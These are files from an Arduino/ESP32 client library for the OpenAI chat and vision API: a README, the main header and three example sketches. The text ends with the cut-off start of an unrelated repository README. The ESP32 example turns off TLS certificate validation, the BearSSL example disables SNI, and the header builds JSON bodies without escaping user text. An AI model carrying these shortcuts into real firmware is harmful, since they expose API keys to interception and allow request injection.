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0015/ChatGPT_Client_For_Arduino
| 6,552 |
README.md
|
## Overview
The ChatGPT Arduino Library provides a convenient way to interact with the OpenAI GPT models from Arduino environments, such as ESP32 devices. With this library, you can easily send text and vision queries to the ChatGPT API and receive responses directly in your Arduino projects.
## Features
- **Text Generation**: Generate text-based responses to user queries using the ChatGPT models.
- **Vision Question Answering**: Utilize the vision capabilities of ChatGPT to answer questions about images.
- **Simple API Integration**: Simple and intuitive API for seamless integration into your Arduino projects.
## Authentication
The OpenAI API uses API keys for authentication. Visit your API Keys page to retrieve the API key you'll use in your requests.
First, get your SECRET KEY issued here.
https://platform.openai.com/api-keys
## Installation
### Using Arduino Library Manager
From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...*
In Library Manager Window, search *"ChatGPT"* in the search form then select *"ChatGPT_Client"*
Click *"Install"* button.
### Manual installation
Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"*
From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...*
Or use git:
```
cd ~/arduino/libraries/
gh repo clone 0015/ChatGPT_Client_For_Arduino
```
Then you should see the examples and be able to include the library in your projects with:
```
#include <ChatGPT.hpp>
```
## Usage
1. Include the `ChatGPT.hpp` header file in your Arduino sketch.
2. Create a `ChatGPT` object and provide your API key and other required parameters.
3. Use the provided methods to send queries to the ChatGPT API and receive responses.
### Example:
```cpp
#include <ChatGPT.hpp>
// Initialize ChatGPT client
WiFiSSLClient wifiClient;
ChatGPT<WiFiSSLClient> chatGPT(&wifiClient, "v1", "YOUR_API_KEY", 10000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image.
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
```
### Result:
```json
[ChatGPT] - Asking a Text Question
[ChatGPT] Response: {
"id": "chatcmpl-9QjdlCkqkB4dsVXBzUTRTBYafI7f3",
"object": "chat.completion",
"created": 1716158997,
"model": "gpt-3.5-turbo-0125",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "One of the best features of GPT-4o is its advanced natural language processing capabilities. GPT-4o has a deeper understanding of context, nuance, and complex language structures, allowing it to generate more accurate and coherent responses to a wide range of prompts. Its improved language modeling capabilities make it more versatile and effective in various tasks such as text generation, language translation, and question answering. Overall, the enhanced natural language processing capabilities of GPT-4o make it a powerful tool"
},
"logprobs": null,
"finish_reason": "length"
}
],
"usage": {
"prompt_tokens": 19,
"completion_tokens": 100,
"total_tokens": 119
},
"system_fingerprint": null
}
```
```json
[ChatGPT] - Asking a Vision Question
[ChatGPT] Response: {
"id": "chatcmpl-9Qjdp5B4wyE5cVbcLOucvm9uoT6rH",
"object": "chat.completion",
"created": 1716159001,
"model": "gpt-4o-2024-05-13",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "The image shows a peaceful lakeside pathway. The path is made of bricks and runs alongside a body of water. There is greenery on both sides of the path with trees providing shade on the right side. Off in the distance, you can see some buildings, possibly residential apartments, and more greenery. The atmosphere appears to be calm and serene."
},
"logprobs": null,
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 268,
"completion_tokens": 69,
"total_tokens": 337
},
"system_fingerprint": "fp_927397958d"
}
```
### Limitation
AVR and ESP8266 may not operate smoothly due to insufficient memory allocation. It looks like this part will need to be updated again soon.
# Updates
- v0.2.0
- Support Vision Question (GPT-4o)
- Support larger payloads
- ArduinoJson 7
- v0.1.2
- Demo Bugs Fixed
- v0.1.1
- Added ESP8266 Example
- v0.1.0
- Only Support Chat completion yet
- Model, only gpt-3.5-turbo and gpt-3.5-turbo-0301 are supported
# License
This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
|
0015/ChatGPT_Client_For_Arduino
| 10,335 |
src/ChatGPT.hpp
|
/*
* Project ChatGPT Client
* Description: The official method using API Key for communication with ChatGPT
* Author: Eric Nam
* Date: 07-17-2024
*/
#ifndef __CHATGPT__
#define __CHATGPT__
template <class T>
class ChatGPT
{
public:
/*
* Description:
* Constructor for the ChatGPT class.
*
* Parameters:
* - _client: Pointer to the HTTP client object.
* - api_version_in: The API version to use.
* - api_key_in: The API key for authentication.
* - timeout_in: The timeout duration for requests.
*/
ChatGPT(T *_client,
const char *api_version_in,
const char *api_key_in,
unsigned long timeout_in)
: client(_client), api_version(api_version_in), api_key(api_key_in), timeout(timeout_in)
{
timeout = (timeout_in < 5000) ? 5000 : timeout_in;
}
~ChatGPT() = default;
/*
* Description:
* Sends a vision question to the ChatGPT API.
*
* Parameters:
* - model: The model to use for generating the response.
* - role: The role of the user (e.g., "user", "assistant").
* - type: The type of the content (e.g., "text", "image_url").
* - text: The text content of the message.
* - image_type: The type of the image content.
* - image_url: The URL of the image.
* - detail: The detail level of the image (e.g., "low", "high").
* - max_tokens: The maximum number of tokens to generate.
* - content_only: If true, extracts and returns only the content from the response.
* - result: Stores the response from the API.
* - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory)
*
* Returns:
* - True if the request is successful, false otherwise.
*/
bool vision_question(
const char *model,
const char *role,
const char *type,
const char *text,
const char *image_type,
const char *image_url,
const char *detail,
int max_tokens,
bool content_only,
String &result,
bool mem_dynamic = true)
{
char *post_body = nullptr; // Initialize post_body pointer
int post_body_size = 0;
if (mem_dynamic)
{
// Calculate the required size for dynamic allocation
post_body_size = snprintf(nullptr, 0,
"{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}",
model, role, type, text, image_type, image_url, detail, max_tokens) + 1;
post_body = new char[post_body_size];
if (post_body == nullptr)
{
result = "[ERR] Memory allocation failed!";
return false;
}
}
else
{
// Use a static buffer with a fixed size
static const int static_buffer_size = 512;
char static_post_body[static_buffer_size];
post_body_size = static_buffer_size;
post_body = static_post_body;
}
// Format the post_body string
snprintf(post_body, post_body_size,
"{\"model\": \"%s\", \"messages\": [{\"role\": \"%s\", \"content\": [{\"type\": \"%s\", \"text\": \"%s\"}, {\"type\": \"%s\", \"image_url\": {\"url\": \"%s\", \"detail\": \"%s\"}}]}], \"max_tokens\": %d}",
model, role, type, text, image_type, image_url, detail, max_tokens);
// Call the _post function
bool success = _postStream(post_body, content_only, result);
// Free dynamic memory if allocated
if (mem_dynamic)
{
delete[] post_body;
}
return success;
}
/*
* Description:
* Sends a chat message to the ChatGPT API.
*
* Parameters:
* - model: The model to use for generating the response.
* - role: The role of the user (e.g., "user", "assistant").
* - content: The content of the message.
* - max_tokens: The maximum number of tokens to generate.
* - content_only: If true, extracts and returns only the content from the response.
* - result: Stores the response from the API.
* - mem_dynamic: Select Dynamic/Static Memory, (Default: Dyanmic Memory)
*
* Returns:
* - True if the request is successful, false otherwise.
*/
bool chat_message(
const char *model,
const char *role,
const char *content,
int max_tokens,
bool content_only,
String &result,
bool mem_dynamic = true)
{
char *post_body = nullptr; // Initialize post_body pointer
int post_body_size = 0;
if (mem_dynamic)
{
// Calculate the required size for dynamic allocation
post_body_size = snprintf(nullptr, 0, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content) + 1;
post_body = new char[post_body_size];
if (post_body == nullptr)
{
result = "[ERR] Memory allocation failed!";
return false;
}
}
else
{
// Use a static buffer with a fixed size
static const int static_buffer_size = 256;
char static_post_body[static_buffer_size];
post_body_size = static_buffer_size;
post_body = static_post_body;
}
// Format the post_body string
snprintf(post_body, post_body_size, "{\"model\": \"%s\", \"max_tokens\": %d, \"messages\": [{\"role\": \"%s\", \"content\": \"%s\"}]}", model, max_tokens, role, content);
// Call the _post function
bool success = _postStream(post_body, content_only, result);
// Free dynamic memory if allocated
if (mem_dynamic)
{
delete[] post_body;
}
return success;
}
private:
static constexpr const char *host = "api.openai.com";
static constexpr const int httpsPort = 443;
T *client = nullptr;
String api_version;
String api_key;
unsigned long timeout;
/*
* Description:
* Sends an HTTP POST request to the ChatGPT API in streaming mode.
*
* Parameters:
* - post_body: The body of the POST request.
* - content_only: If true, extracts and returns only the content from the response.
* - result: Stores the response from the API.
*
* Returns:
* - True if the request is successful, false otherwise.
*/
bool _postStream(
const char *post_body,
bool content_only,
String &result)
{
if (!client->connect(host, httpsPort))
{
result = "[ERR] Connection failed!";
return false;
}
size_t payload_length = strlen(post_body);
String auth_header = _get_auth_header(api_key);
String http_request = "POST /" + api_version + "/chat/completions HTTP/1.1\r\n" + auth_header + "\r\n" + "Host: " + host + "\r\n" + "Cache-control: no-cache\r\n" + "User-Agent: ESP32 ChatGPT\r\n" + "Content-Type: application/json\r\n" + "Content-Length: " + String(payload_length) + "\r\n" + "Connection: close\r\n" + "\r\n";
// Send the HTTP request headers
client->print(http_request);
// Send the HTTP request body in chunks
size_t bytes_sent = 0;
while (bytes_sent < payload_length)
{
size_t chunk_size = minimum(payload_length - bytes_sent, static_cast<size_t>(1024)); // Adjust chunk size as needed
size_t bytes_written = client->write((const uint8_t *)post_body + bytes_sent, chunk_size);
if (bytes_written != chunk_size)
{
result = "[ERR] Failed to send data";
client->stop();
return false;
}
bytes_sent += bytes_written;
}
// Wait for the response
String responseStr;
unsigned long startTime = millis();
while (client->connected() && millis() - startTime < timeout)
{
if (client->available())
{
responseStr += client->readStringUntil('\n');
responseStr += "\r\n";
startTime = millis(); // Reset the timeout timer whenever new data is received
}
}
// Handle timeout
if (millis() - startTime >= timeout)
{
result = "[ERR] Timeout";
client->stop();
return false;
}
client->stop();
// Check for valid response
if (responseStr.length() == 0)
{
result = "[ERR] Empty response";
return false;
}
// Extract response code
int responseCode = responseStr.substring(responseStr.indexOf(" ") + 1, responseStr.indexOf(" ") + 4).toInt();
if (responseCode != 200)
{
result = responseStr;
return false;
}
// Extract JSON body
int start = responseStr.indexOf("{");
int end = responseStr.lastIndexOf("}");
String jsonBody = responseStr.substring(start, end + 1);
if (jsonBody.length() == 0)
{
result = "[ERR] Couldn't read JSON data";
return false;
}
if (content_only)
{
return getContent(jsonBody.c_str(), result);
}
else
{
result = jsonBody;
return true;
}
}
String _get_auth_header(const String &api)
{
return "Authorization: Bearer " + api;
}
bool getContent(const char *jsonString, String &result)
{
JsonDocument doc;
DeserializationError error = deserializeJson(doc, jsonString);
if (error)
{
result = "deserializeJson() failed: ";
result += error.f_str();
return false;
}
// Check if the "choices" array exists and contains at least one element
if (doc.containsKey("choices") && doc["choices"].is<JsonArray>() && doc["choices"].size() > 0)
{
// Access the first element of the "choices" array
JsonObject choice = doc["choices"][0];
// Check if the "message" object exists
if (choice.containsKey("message"))
{
// Access the "message" object
JsonObject message = choice["message"];
// Check if the "content" field exists
if (message.containsKey("content"))
{
// Access and store the value of the "content" field
const char *content = message["content"];
result = content;
return true;
}
else
{
result = "No 'content' field found";
return false;
}
}
else
{
result = "No 'message' object found";
return false;
}
}
else
{
result = "No 'choices' array found or it is empty";
return false;
}
}
size_t minimum(size_t a, size_t b)
{
return (a < b) ? a : b;
}
};
#endif
|
0015/ChatGPT_Client_For_Arduino
| 1,076 |
examples/Arduino_SSLClient/Base64ImageData.h
|
#ifndef BASE64_IMAGE_DATA_H
#define BASE64_IMAGE_DATA_H
// The image is a solid red color.
const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k=";
#endif
|
0015/ChatGPT_Client_For_Arduino
| 4,453 |
examples/Arduino_SSLClient/Arduino_SSLClient.ino
|
/*
* Project ChatGPT Client For Arduino (Arduino Giga R1, Arduino Portenta H7)
* Description: For HTTPS connection using Arduino WiFiSSLClient
* Author: Eric Nam
* Date: 07-17-2024
*/
#include <WiFi.h>
#include <WiFiSSLClient.h>
#include <ArduinoJson.h>
#include <ChatGPT.hpp>
#include "Base64ImageData.h"
static const char *ssid = "<WIFI_SSID>";
static const char *pass = "<WIFI_PW>";
int status = WL_IDLE_STATUS;
/*
client: Pointer to the HTTP client object used for making API requests.
api_version: API version to use for communication (e.g., "v1").
api_key: API key for authentication with the ChatGPT API.
timeout: Timeout duration for API requests, in milliseconds.
*/
WiFiSSLClient client;
ChatGPT<WiFiSSLClient> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionBase64() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image or Base64 Image Data
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void setup() {
//Initialize serial and wait for port to open:
Serial.begin(115200);
while (!Serial) {
; // wait for serial port to connect. Needed for native USB port only
}
// check for the WiFi module:
if (WiFi.status() == WL_NO_MODULE) {
Serial.println("Communication with WiFi module failed!");
// don't continue
while (true)
;
}
// attempt to connect to WiFi network:
while (status != WL_CONNECTED) {
Serial.print("Attempting to connect to SSID: ");
Serial.println(ssid);
// Connect to WPA/WPA2 network. Change this line if using open or WEP network:
status = WiFi.begin(ssid, pass);
// wait 10 seconds for connection:
delay(10000);
}
Serial.println("Connected to WiFi");
Serial.println("[ChatGPT] - Examples");
delay(1000);
exampleTextQuestion(); // Post Body in Static Memory
delay(1000);
exampleVisionQuestionWithURL(); // Post Body in Dynamic memory
}
void loop() {}
|
0015/ChatGPT_Client_For_Arduino
| 1,076 |
examples/ESP32_WiFiClientSecure/Base64ImageData.h
|
#ifndef BASE64_IMAGE_DATA_H
#define BASE64_IMAGE_DATA_H
// The image is a solid red color.
const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k=";
#endif
|
0015/ChatGPT_Client_For_Arduino
| 4,002 |
examples/ESP32_WiFiClientSecure/ESP32_WiFiClientSecure.ino
|
/*
* Project ChatGPT Client For ESP32
* Description: For HTTPS connection using WiFiClientSecure
* Author: Eric Nam
* Date: 07-17-2024
*/
#include <WiFi.h>
#include <WiFiClientSecure.h>
#include <ArduinoJson.h>
#include <ChatGPT.hpp>
#include "Base64ImageData.h"
static const char *ssid = "<WIFI_SSID>";
static const char *pass = "<WIFI_PW>";
/*
client: Pointer to the HTTP client object used for making API requests.
api_version: API version to use for communication (e.g., "v1").
api_key: API key for authentication with the ChatGPT API.
timeout: Timeout duration for API requests, in milliseconds.
*/
WiFiClientSecure client;
ChatGPT<WiFiClientSecure> chatGPT_Client(&client, "v1", "<OpenAI_API_KEY>", 60000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false))
{
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
}
else
{
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionBase64() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image or Base64 Image Data
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void setup() {
Serial.begin(115200);
Serial.print("Connecting to WiFi network: ");
Serial.print(ssid);
Serial.println("'...");
WiFi.begin(ssid, pass);
while (WiFi.status() != WL_CONNECTED) {
Serial.println("Connecting...");
delay(1000);
}
Serial.println("Connected!");
// Ignore SSL certificate validation
client.setInsecure();
Serial.println("[ChatGPT] - Examples");
delay(1000);
exampleTextQuestion(); // Post Body in Static Memory
delay(1000);
exampleVisionQuestionWithURL(); // Post Body in Dynamic memory
}
void loop() {}
|
0015/ChatGPT_Client_For_Arduino
| 1,076 |
examples/Arduino_BearSSLExample/Base64ImageData.h
|
#ifndef BASE64_IMAGE_DATA_H
#define BASE64_IMAGE_DATA_H
// The image is a solid red color.
const char* base64ImageData = "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD//gATQ3JlYXRlZCB3aXRoIEdJTVD/2wBDAAMCAgMCAgMDAwMEAwMEBQgFBQQEBQoHBwYIDAoMDAsKCwsNDhIQDQ4RDgsLEBYQERMUFRUVDA8XGBYUGBIUFRT/2wBDAQMEBAUEBQkFBQkUDQsNFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT/wgARCABLAGQDAREAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAf/xAAWAQEBAQAAAAAAAAAAAAAAAAAABgj/2gAMAwEAAhADEAAAAZzC6pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAEFAgL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAEDAQE/AQL/xAAUEQEAAAAAAAAAAAAAAAAAAABw/9oACAECAQE/AQL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAY/AgL/xAAUEAEAAAAAAAAAAAAAAAAAAABw/9oACAEBAAE/IQL/2gAMAwEAAgADAAAAEP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/wD/AP8A/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAwEBPxAC/8QAFBEBAAAAAAAAAAAAAAAAAAAAcP/aAAgBAgEBPxAC/8QAFBABAAAAAAAAAAAAAAAAAAAAcP/aAAgBAQABPxAC/9k=";
#endif
|
0015/ChatGPT_Client_For_Arduino
| 4,223 |
examples/Arduino_BearSSLExample/Arduino_BearSSLExample.ino
|
/*
* Project ChatGPT Client For Arduino
* Description: For HTTPS connection using ArduinoBearSSL
* Author: Eric Nam
* Date: 07-17-2024
*/
//#define ARDUINO_DISABLE_ECCX08
#include <ArduinoBearSSL.h>
#include <WiFi.h>
#include <ArduinoJson.h>
#include <ChatGPT.hpp>
#include "Base64ImageData.h"
static const char *ssid = "<WIFI_SSID>";
static const char *password = "<WIFI_PW>";
int status = WL_IDLE_STATUS;
/*
client: Pointer to the HTTP client object used for making API requests.
api_version: API version to use for communication (e.g., "v1").
api_key: API key for authentication with the ChatGPT API.
timeout: Timeout duration for API requests, in milliseconds.
*/
WiFiClient client;
BearSSLClient sslClient(client);
ChatGPT<BearSSLClient> chatGPT_Client(&sslClient, "v1", "<OpenAI_API_KEY>", 60000);
void exampleTextQuestion() {
/*
model: Model to use for generating the response (e.g., "gpt-4o", "gpt-3.5-turbo").
role: Role of the message sender (e.g., "user" or "assistant").
content: Content of the message to send.
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Text Question");
if (chatGPT_Client.chat_message("gpt-3.5-turbo", "user", "What is the best feature of GPT-4o?", 100, false, result, false)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionBase64() {
/*
model: Model to use for generating the response (e.g., "gpt-4o").
role: Role of the message sender (e.g., "user" or "assistant").
type: Type of content (e.g., "text").
text: Text content of the message.
image_type: Type of the image (e.g., "image_url").
image_url: URL of the image or Base64 Image Data
detail: Detail level of the image (e.g., "high", "low", "auto").
max_tokens: Maximum number of tokens to generate in the response.
content_only: Flag indicating whether to extract only the content of the response. (e.g., true - answer only, false - full response)
result: Reference to a String variable to store the result of the API call.
mem_dynamic: Select whether to use dynamic memory or static memory when configuring the post body (default: dynamic memory)
*/
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", base64ImageData, "auto", 500, true, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
void exampleVisionQuestionWithURL() {
String result;
Serial.println("\n\n[ChatGPT] - Asking a Vision Question");
if (chatGPT_Client.vision_question("gpt-4o", "user", "text", "What’s in this image?", "image_url", "https://samplelib.com/lib/preview/jpeg/sample-city-park-400x300.jpg", "auto", 400, false, result)) {
Serial.print("[ChatGPT] Response: ");
Serial.println(result);
} else {
Serial.print("[ChatGPT] Error: ");
Serial.println(result);
}
}
unsigned long getTime() {
return WiFi.getTime();
}
void setup() {
Serial.begin(115200);
if (WiFi.status() == WL_NO_SHIELD)
return;
int status = WL_IDLE_STATUS;
while (status != WL_CONNECTED) {
status = WiFi.begin(ssid, password);
delay(1000);
}
Serial.println("Connected!");
ArduinoBearSSL.onGetTime(getTime);
// Disable Server Name Indication:
// for testing purposes only
// DO NOT USE IN PRODUCTION
sslClient.setInsecure(BearSSLClient::SNI::Insecure);
Serial.println("[ChatGPT] - Examples");
delay(1000);
exampleTextQuestion(); // Post Body in Static Memory
delay(1000);
exampleVisionQuestionWithURL(); // Post Body in Dynamic memory
}
void loop() {}
|
000pp/blobber
| 1,421 |
README.md
|
<div align="center">
<img src="https://i.imgur.com/Y2XXof7.jpeg" width="900">
<br>
___
<br>
<img src="https://img.shields.io/github/license/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/issues/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
<img src="https://img.shields.io/github/stars/oppsec/blobber?color=blue&logo=github&style=for-the-badge">
